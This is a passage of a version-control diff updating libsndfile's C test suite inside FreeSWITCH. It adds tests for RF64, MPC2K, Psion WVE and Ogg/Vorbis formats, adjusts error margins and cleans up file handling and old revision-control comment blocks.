+		update_seek_short_test ("header_short.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_int_test ("header_int.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_float_test ("header_float.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_double_test ("header_double.wavex", SF_FORMAT_WAVEX) ;
+		header_shrink_test ("header_shrink.wavex", SF_FORMAT_WAVEX) ;
+		extra_header_test ("extra.wavex", SF_FORMAT_WAVEX) ;
 		test_count++ ;
 		} ;
 
@@ -93,6 +104,7 @@
 		update_seek_int_test ("header_int.aiff", SF_FORMAT_AIFF) ;
 		update_seek_float_test ("header_float.aiff", SF_FORMAT_AIFF) ;
 		update_seek_double_test ("header_double.aiff", SF_FORMAT_AIFF) ;
+		header_shrink_test ("header_shrink.wav", SF_FORMAT_AIFF) ;
 		extra_header_test ("extra.aiff", SF_FORMAT_AIFF) ;
 		test_count++ ;
 		} ;
@@ -144,6 +156,15 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "rf64"))
+	{	update_header_test ("header.rf64", SF_FORMAT_RF64) ;
+		update_seek_short_test ("header_short.rf64", SF_FORMAT_RF64) ;
+		update_seek_int_test ("header_int.rf64", SF_FORMAT_RF64) ;
+		update_seek_float_test ("header_float.rf64", SF_FORMAT_RF64) ;
+		update_seek_double_test ("header_double.rf64", SF_FORMAT_RF64) ;
+		test_count++ ;
+		} ;
+
 	if (do_all || ! strcmp (argv [1], "mat4"))
 	{	update_header_test ("header.mat4", SF_FORMAT_MAT4) ;
 		update_seek_short_test ("header_short.mat4", SF_FORMAT_MAT4) ;
@@ -198,6 +219,12 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "mpc2k"))
+	{	update_header_test ("header.mpc", SF_FORMAT_MPC2K) ;
+		update_seek_short_test ("header_short.mpc", SF_FORMAT_MPC2K) ;
+		test_count++ ;
+		} ;
+
 	if (test_count == 0)
 	{	printf ("Mono : ************************************\n") ;
 		printf ("Mono : *  No '%s' test defined.\n", argv [1]) ;
@@ -290,18 +317,6 @@
 {
 	print_test_name ("update_header_test", filename) ;
 
-#if 0 /*-(OS_IS_WIN32 == 0)-*/
-	if (typemajor == SF_FORMAT_PAF)
-	{	/*
-		** I think this is a bug in the win32 file I/O code in src/file_io.c.
-		** I didn't write that code and I don't have the time to debug and
-		** fix it. Patches will gladly be accepted. Erik
-		*/
-		puts ("doesn't work on win32") ;
-		return ;
-		} ;
-#endif
-
 	update_header_sub (filename, typemajor, SFM_WRITE) ;
 	update_header_sub (filename, typemajor, SFM_RDWR) ;
 
@@ -379,13 +394,53 @@
 	puts ("ok") ;
 	return ;
 } /* update_seek_[+ (get "name") +]_test */
+
 [+ ENDFOR data_type
 +]
 
+static void
+header_shrink_test (const char *filename, int filetype)
+{	SNDFILE *outfile, *infile ;
+	SF_INFO sfinfo ;
+	sf_count_t frames ;
+	float buffer [8], bufferin [8] ;
 
+	print_test_name ("header_shrink_test", filename) ;
 
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate = 44100 ;
+	sfinfo.format = filetype | SF_FORMAT_FLOAT ;
+	sfinfo.channels = 1 ;
 
+	memset (buffer, 0xA0, sizeof (buffer)) ;
 
+	/* Now write some frames. */
+	frames = ARRAY_LEN (buffer) / sfinfo.channels ;
+
+	/* Test the file with extra header data. */
+	outfile = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+
+	sf_command (outfile, SFC_SET_ADD_PEAK_CHUNK, NULL, SF_TRUE) ;
+	sf_command (outfile, SFC_UPDATE_HEADER_NOW, NULL, SF_FALSE) ;
+	sf_command (outfile, SFC_SET_ADD_PEAK_CHUNK, NULL, SF_FALSE) ;
+
+	test_writef_float_or_die (outfile, 0, buffer, frames, __LINE__) ;
+	sf_close (outfile) ;
+
+	/* Open again for read. */
+	infile = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	test_readf_float_or_die (infile, 0, bufferin, frames, __LINE__) ;
+	sf_close (infile) ;
+
+	compare_float_or_die (buffer, bufferin, frames, __LINE__) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+	return ;
+} /* header_shrink_test */
+
+
 static void
 extra_header_test (const char *filename, int filetype)
 {	SNDFILE *outfile, *infile ;
@@ -487,12 +542,3 @@
 #endif
 } /* extra_header_test */
 
-[+ COMMENT
-
- Do not edit or modify anything in this comment block.
- The arch-tag line is a file identity tag for the GNU Arch
- revision control system.
-
- arch-tag: ba02b7d6-8a89-45f3-aad2-a50390f52af5
-
-+]

Modified: freeswitch/branches/seven/libs/libsndfile/tests/headerless_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/headerless_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/headerless_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -104,6 +104,8 @@
 
 	check_log_buffer_or_die (file, __LINE__) ;
 
+	sf_close (file) ;
+
 	printf ("ok\n") ;
 	unlink (filename) ;
 } /* headerless_test */
@@ -174,14 +176,9 @@
 			exit (1) ;
 			} ;
 
+	sf_close (file) ;
+
 	printf ("ok\n") ;
 	unlink (filename) ;
 } /* old_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 0820bc1a-c396-4e66-9997-096999b0bc40
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/largefile_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/largefile_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/largefile_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2006-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -81,10 +81,3 @@
 	return ;
 } /* largefile_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 4ef10b9a-3356-4b92-8b7b-c60c0c4123fe
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/locale_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/locale_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/locale_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2005-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -48,8 +48,11 @@
 		{	"en_AU", "kangaroo.au", 11 },
 		{	"POSIX", "posix.au", 8 },
 		{	"pt_PT", "concei\303\247\303\243o.au", 12 },
+
+#if OS_IS_WIN32 == 0
 		{	"ja_JP", "\343\201\212\343\201\257\343\202\210\343\201\206\343\201\224\343\201\226\343\201\204\343\201\276\343\201\231.au", 21 },
 		{	"vi_VN", "qu\341\273\221c ng\341\273\257.au", 11 },
+#endif
 
 		{	NULL, NULL, 0 }
 		} ;
@@ -104,11 +107,3 @@
 #endif
 } /* locale_test */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 087b25a3-03a2-4195-acd2-23fbbc489021
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/lossy_comp_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/lossy_comp_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/lossy_comp_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -38,6 +38,8 @@
 #define		M_PI		3.14159265358979323846264338
 #endif
 
+#define		LCT_MAX(x,y)	((x) > (y) ? (x) : (y))
+
 static	void	lcomp_test_short	(const char *filename, int filetype, int chan, double margin) ;
 static	void	lcomp_test_int		(const char *filename, int filetype, int chan, double margin) ;
 static	void	lcomp_test_float	(const char *filename, int filetype, int chan, double margin) ;
@@ -48,6 +50,8 @@
 static	void	sdlcomp_test_float	(const char *filename, int filetype, int chan, double margin) ;
 static	void	sdlcomp_test_double	(const char *filename, int filetype, int chan, double margin) ;
 
+static void		read_raw_test (const char *filename, int filetype, int chan) ;
+
 static	int		error_function (double data, double orig, double margin) ;
 static	int		decay_response (int k) ;
 
@@ -58,18 +62,20 @@
 static	void	smoothed_diff_float (float *data, unsigned int datalen) ;
 static	void	smoothed_diff_double (double *data, unsigned int datalen) ;
 
-static void check_comment (SNDFILE * file, int format, int lineno) ;
+static void		check_comment (SNDFILE * file, int format, int lineno) ;
 
+static int		is_lossy (int filetype) ;
+
 /*
 ** Force the start of these buffers to be double aligned. Sparc-solaris will
 ** choke if they are not.
 */
 typedef union
-{	double d [BUFFER_SIZE + 1] ;
-	float f [BUFFER_SIZE + 1] ;
-	int i [BUFFER_SIZE + 1] ;
-	short s [BUFFER_SIZE + 1] ;
-	char c [BUFFER_SIZE + 1] ;
+{	double	d [BUFFER_SIZE + 1] ;
+	float	f [BUFFER_SIZE + 1] ;
+	int		i [BUFFER_SIZE + 1] ;
+	short	s [BUFFER_SIZE + 1] ;
+	char	c [BUFFER_SIZE + 1] ;
 } BUFFER ;
 
 static	BUFFER	data_buffer ;
@@ -96,22 +102,25 @@
 		printf ("           wav_gsm610  - test GSM 6.10 WAV file functions\n") ;
 		printf ("           wav_ulaw    - test u-law WAV file functions\n") ;
 		printf ("           wav_alaw    - test A-law WAV file functions\n") ;
+		printf ("           wve         - test Psion WVE file functions\n") ;
 		printf ("           all         - perform all tests\n") ;
 		exit (1) ;
 		} ;
 
 	do_all = ! strcmp (argv [1], "all") ;
 
-	if (strcmp (argv [1], "wav_pcm") == 0)
+	if (do_all || strcmp (argv [1], "wav_pcm") == 0)
 	{	/* This is just a sanity test for PCM encoding. */
-		lcomp_test_short	("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 0.00001) ;
-		lcomp_test_int		("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 0.00001) ;
-		lcomp_test_short	("pcm.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 0.00001) ;
-		lcomp_test_int		("pcm.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 0.00001) ;
+		lcomp_test_short	("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 1e-50) ;
+		lcomp_test_int		("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_32, 2, 1e-50) ;
+		lcomp_test_short	("pcm.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 1e-50) ;
+		lcomp_test_int		("pcm.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV | SF_FORMAT_PCM_32, 2, 1e-50) ;
 		/* Lite remove start */
-		lcomp_test_float	("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 0.005) ;
-		lcomp_test_double	("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 0.005) ;
+		lcomp_test_float	("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_FLOAT, 2, 1e-50) ;
+		lcomp_test_double	("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_DOUBLE, 2, 1e-50) ;
 		/* Lite remove end */
+
+		read_raw_test ("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_U8, 2) ;
 		test_count++ ;
 		} ;
 
@@ -119,7 +128,7 @@
 	/* Lite remove start */
 	if (do_all || strcmp (argv [1], "wav_ima") == 0)
 	{	lcomp_test_short	("ima.wav", SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM, 2, 0.18) ;
-		lcomp_test_int		("ima.wav", SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM, 2, 0.18) ;
+		lcomp_test_int		("ima.wav", SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM, 2, 0.65) ;
 		lcomp_test_float	("ima.wav", SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM, 2, 0.18) ;
 		lcomp_test_double	("ima.wav", SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM, 2, 0.18) ;
 
@@ -177,6 +186,8 @@
 		lcomp_test_float	("ulaw.wav", SF_FORMAT_WAV | SF_FORMAT_ULAW, 2, 0.04) ;
 		lcomp_test_double	("ulaw.wav", SF_FORMAT_WAV | SF_FORMAT_ULAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("ulaw.wav", SF_FORMAT_WAV | SF_FORMAT_ULAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -187,6 +198,8 @@
 		lcomp_test_float	("alaw.wav", SF_FORMAT_WAV | SF_FORMAT_ALAW, 2, 0.04) ;
 		lcomp_test_double	("alaw.wav", SF_FORMAT_WAV | SF_FORMAT_ALAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("alaw.wav", SF_FORMAT_WAV | SF_FORMAT_ALAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -212,6 +225,8 @@
 		lcomp_test_float	("ulaw.aiff", SF_FORMAT_AIFF | SF_FORMAT_ULAW, 2, 0.04) ;
 		lcomp_test_double	("ulaw.aiff", SF_FORMAT_AIFF | SF_FORMAT_ULAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("ulaw.aiff", SF_FORMAT_AIFF | SF_FORMAT_ULAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -222,6 +237,8 @@
 		lcomp_test_float	("alaw.aiff", SF_FORMAT_AIFF | SF_FORMAT_ALAW, 2, 0.04) ;
 		lcomp_test_double	("alaw.aiff", SF_FORMAT_AIFF | SF_FORMAT_ALAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("alaw.aiff", SF_FORMAT_AIFF | SF_FORMAT_ALAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -288,10 +305,10 @@
 		lcomp_test_float	("g723_24.au", SF_ENDIAN_LITTLE | SF_FORMAT_AU | SF_FORMAT_G723_24, 1, 0.7) ;
 		lcomp_test_double	("g723_24.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_G723_24, 1, 0.7) ;
 
-		lcomp_test_short	("g723_40.au", SF_ENDIAN_LITTLE | SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.21) ;
-		lcomp_test_int		("g723_40.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.21) ;
-		lcomp_test_float	("g723_40.au", SF_ENDIAN_LITTLE | SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.21) ;
-		lcomp_test_double	("g723_40.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.21) ;
+		lcomp_test_short	("g723_40.au", SF_ENDIAN_LITTLE | SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.85) ;
+		lcomp_test_int		("g723_40.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.84) ;
+		lcomp_test_float	("g723_40.au", SF_ENDIAN_LITTLE | SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.86) ;
+		lcomp_test_double	("g723_40.au", SF_ENDIAN_BIG	| SF_FORMAT_AU | SF_FORMAT_G723_40, 1, 0.86) ;
 
 /*-		sdlcomp_test_short	("g723.au", SF_ENDIAN_BIG    | SF_FORMAT_AU | SF_FORMAT_G723_24, 1, 0.15) ;
 		sdlcomp_test_int	("g723.au", SF_ENDIAN_LITTLE | SF_FORMAT_AU | SF_FORMAT_G723_24, 1, 0.15) ;
@@ -309,6 +326,8 @@
 		lcomp_test_float	("ulaw.caf", SF_FORMAT_CAF | SF_FORMAT_ULAW, 2, 0.04) ;
 		lcomp_test_double	("ulaw.caf", SF_FORMAT_CAF | SF_FORMAT_ULAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("ulaw.caf", SF_FORMAT_CAF | SF_FORMAT_ULAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -319,6 +338,8 @@
 		lcomp_test_float	("alaw.caf", SF_FORMAT_CAF | SF_FORMAT_ALAW, 2, 0.04) ;
 		lcomp_test_double	("alaw.caf", SF_FORMAT_CAF | SF_FORMAT_ALAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("alaw.caf", SF_FORMAT_CAF | SF_FORMAT_ALAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -352,6 +373,20 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || strcmp (argv [1], "ogg_vorbis") == 0)
+	{	if (HAVE_EXTERNAL_LIBS)
+		{	/* Don't do lcomp_test_XXX as the errors are too big. */
+			sdlcomp_test_short	("vorbis.oga", SF_FORMAT_OGG | SF_FORMAT_VORBIS, 1, 0.30) ;
+			sdlcomp_test_int	("vorbis.oga", SF_FORMAT_OGG | SF_FORMAT_VORBIS, 1, 0.30) ;
+			sdlcomp_test_float	("vorbis.oga", SF_FORMAT_OGG | SF_FORMAT_VORBIS, 1, 0.30) ;
+			sdlcomp_test_double	("vorbis.oga", SF_FORMAT_OGG | SF_FORMAT_VORBIS, 1, 0.30) ;
+			}
+		else
+			puts ("    No Ogg/Vorbis tests because Ogg/Vorbis support was not compiled in.") ;
+
+		test_count++ ;
+		} ;
+
 	/* Lite remove start */
 	if (do_all || strcmp (argv [1], "ircam_ulaw") == 0)
 	{	lcomp_test_short	("ulaw.ircam", SF_ENDIAN_LITTLE | SF_FORMAT_IRCAM | SF_FORMAT_ULAW, 2, 0.04) ;
@@ -409,6 +444,8 @@
 		lcomp_test_float	("ulaw.w64", SF_FORMAT_W64 | SF_FORMAT_ULAW, 2, 0.04) ;
 		lcomp_test_double	("ulaw.w64", SF_FORMAT_W64 | SF_FORMAT_ULAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("ulaw.w64", SF_FORMAT_W64 | SF_FORMAT_ULAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -419,6 +456,8 @@
 		lcomp_test_float	("alaw.w64", SF_FORMAT_W64 | SF_FORMAT_ALAW, 2, 0.04) ;
 		lcomp_test_double	("alaw.w64", SF_FORMAT_W64 | SF_FORMAT_ALAW, 2, 0.04) ;
 		/* Lite remove end */
+
+		read_raw_test ("alaw.w64", SF_FORMAT_W64 | SF_FORMAT_ALAW, 2) ;
 		test_count++ ;
 		} ;
 
@@ -448,6 +487,17 @@
 		sdlcomp_test_double	("msadpcm.w64", SF_FORMAT_W64 | SF_FORMAT_MS_ADPCM, 2, 0.36) ;
 		test_count++ ;
 		} ;
+
+	if (do_all || strcmp (argv [1], "wve") == 0)
+	{	lcomp_test_short	("psion.wve", SF_FORMAT_WVE | SF_FORMAT_ALAW, 1, 0.04) ;
+		lcomp_test_int		("psion.wve", SF_FORMAT_WVE | SF_FORMAT_ALAW, 1, 0.04) ;
+		/* Lite remove start */
+		lcomp_test_float	("psion.wve", SF_FORMAT_WVE | SF_FORMAT_ALAW, 1, 0.04) ;
+		lcomp_test_double	("psion.wve", SF_FORMAT_WVE | SF_FORMAT_ALAW, 1, 0.04) ;
+		/* Lite remove end */
+		test_count++ ;
+		} ;
+
 	/* Lite remove end */
 
 	if (do_all || strcmp (argv [1], "w64_gsm610") == 0)
@@ -505,7 +555,7 @@
 lcomp_test_short (const char *filename, int filetype, int channels, double margin)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
-	int				k, m, seekpos, sum_abs ;
+	int				k, m, seekpos, half_max_abs ;
 	long			datalen ;
 	short			*orig, *data ;
 
@@ -563,17 +613,17 @@
 
 	test_readf_short_or_die (file, 0, data, datalen, __LINE__) ;
 
-	sum_abs = 0 ;
+	half_max_abs = 0 ;
 	for (k = 0 ; k < datalen ; k++)
 	{	if (error_function (data [k], orig [k], margin))
 		{	printf ("\n\nLine %d: Incorrect sample A (#%d : %d should be %d).\n", __LINE__, k, data [k], orig [k]) ;
 			oct_save_short (orig, data, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs = abs (sum_abs + abs (data [k])) ;
+		half_max_abs = LCT_MAX (half_max_abs, abs (data [k] / 2)) ;
 		} ;
 
-	if (sum_abs < 1.0)
+	if (half_max_abs < 1.0)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
 		exit (1) ;
 		} ;
@@ -611,7 +661,7 @@
 	{	test_readf_short_or_die (file, m, data, 11, __LINE__) ;
 
 		for (k = 0 ; k < channels * 11 ; k++)
-			if (error_function ((double) data [k], (double) orig [k + channels * m * 11], margin))
+			if (error_function (1.0 * data [k], 1.0 * orig [k + channels * m * 11], margin))
 			{	printf ("\n\nLine %d: Incorrect sample (m = %d) (#%d : %d => %d).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
 				for (m = 0 ; m < channels ; m++)
 					printf ("%d ", data [m]) ;
@@ -630,7 +680,7 @@
 
 	test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
 
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
+	if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin))
 	{	printf ("\n\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_short failed (%d, %d).\n", __LINE__, orig [1], data [0]) ;
 		exit (1) ;
 		} ;
@@ -643,7 +693,7 @@
 	seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 	k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
 	test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
+	if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
 	{	printf ("\n\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_short failed (%d, %d) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
 		oct_save_short (orig, data, datalen) ;
 		exit (1) ;
@@ -653,13 +703,13 @@
 	/* Check seek backward from current position. */
 	k = sf_seek (file, -20, SEEK_CUR) ;
 	test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_readf_short failed (%d, %d) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos) ;
+	if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_readf_short failed (%d, %d) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos) ;
 		exit (1) ;
 		} ;
 
 	/* Check that read past end of file returns number of items. */
-	sf_seek (file, (short) sfinfo.frames, SEEK_SET) ;
+	sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
  	if ((k = sf_readf_short (file, data, datalen)) != 0)
  	{	printf ("\n\nLine %d: Return value from sf_readf_short past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -667,14 +717,14 @@
  		} ;
 
 	/* Check seek backward from end. */
-	if ((k = sf_seek (file, 5 - (short) sfinfo.frames, SEEK_END)) != 5)
-	{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+	if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+	{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 		exit (1) ;
 		} ;
 
-	test_readf_short_or_die (file, 0, data, channels, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [5], margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%d should be %d).\n", __LINE__, data [0], orig [5]) ;
+	test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
+	if (error_function (1.0 * data [0], 1.0 * orig [5 * channels], margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%d should be %d).\n", __LINE__, data [0], orig [5 * channels]) ;
 		exit (1) ;
 		} ;
 
@@ -689,24 +739,33 @@
 
 static void
 lcomp_test_int (const char *filename, int filetype, int channels, double margin)
-{	SNDFILE		*file ;
-	SF_INFO		sfinfo ;
-	int			k, m, *orig, *data, sum_abs ;
-	long		datalen, seekpos ;
-	double		scale ;
+{	SNDFILE			*file ;
+	SF_INFO			sfinfo ;
+	int				k, m, half_max_abs ;
+	long			datalen, seekpos ;
+	double			scale, max_val ;
+	int				*orig, *data ;
 
 	print_test_name ("lcomp_test_int", filename) ;
 
 	datalen = BUFFER_SIZE / channels ;
 
-	scale = 1.0 * 0x10000 ;
+	if (is_lossy (filetype))
+	{	scale = 1.0 * 0x10000 ;
+		max_val = 32000.0 * scale ;
+		}
+	else
+	{	scale = 1.0 ;
+		max_val = 0x7fffffff * scale ;
+		} ;
 
 	data = data_buffer.i ;
 	orig = orig_buffer.i ;
 
-	gen_signal_double (orig_buffer.d, 32000.0 * scale, channels, datalen) ;
+	gen_signal_double (orig_buffer.d, max_val, channels, datalen) ;
+
 	for (k = 0 ; k < channels * datalen ; k++)
-		orig [k] = orig_buffer.d [k] ;
+		orig [k] = lrint (orig_buffer.d [k]) ;
 
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
@@ -751,18 +810,18 @@
 
 	test_readf_int_or_die (file, 0, data, datalen, __LINE__) ;
 
-	sum_abs = 0 ;
+	half_max_abs = 0 ;
 	for (k = 0 ; k < datalen ; k++)
 	{	if (error_function (data [k] / scale, orig [k] / scale, margin))
-		{	printf ("\n\nLine %d: Incorrect sample (#%d : %f should be %f).\n", __LINE__, k, data [k] / scale, orig [k] / scale) ;
+		{	printf ("\nLine %d: Incorrect sample (#%d : %f should be %f).\n", __LINE__, k, data [k] / scale, orig [k] / scale) ;
 			oct_save_int (orig, data, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs = abs (sum_abs + abs (abs (data [k]) - 256)) ;
+		half_max_abs = LCT_MAX (half_max_abs, abs (data [k] / 2)) ;
 		} ;
 
-	if (sum_abs < 1.0)
-	{	printf ("\n\nLine %d: Signal is all zeros (%d, 0x%X).\n", __LINE__, sum_abs, sum_abs) ;
+	if (half_max_abs < 1.0)
+	{	printf ("\n\nLine %d: Signal is all zeros (%d, 0x%X).\n", __LINE__, half_max_abs, half_max_abs) ;
 		exit (1) ;
 		} ;
 
@@ -801,7 +860,7 @@
 
 		for (k = 0 ; k < channels * 11 ; k++)
 			if (error_function (data [k] / scale, orig [k + channels * m * 11] / scale, margin))
-			{	printf ("\n\nLine %d: Incorrect sample (m = %d) (#%d : %d => %d).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
+			{	printf ("\nLine %d: Incorrect sample (m = %d) (#%d : %d => %d).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
 				for (m = 0 ; m < channels ; m++)
 					printf ("%d ", data [m]) ;
 				printf ("\n") ;
@@ -819,8 +878,8 @@
 
 	test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
 
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_int failed (%d, %d).\n", __LINE__, orig [1], data [0]) ;
+	if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_int failed (%d, %d).\n", __LINE__, orig [1], data [0]) ;
 		exit (1) ;
 		} ;
 
@@ -832,8 +891,8 @@
 	seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 	k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
 	test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("\n\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %ld).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
+	if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %ld).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
 		exit (1) ;
 		} ;
 
@@ -841,13 +900,13 @@
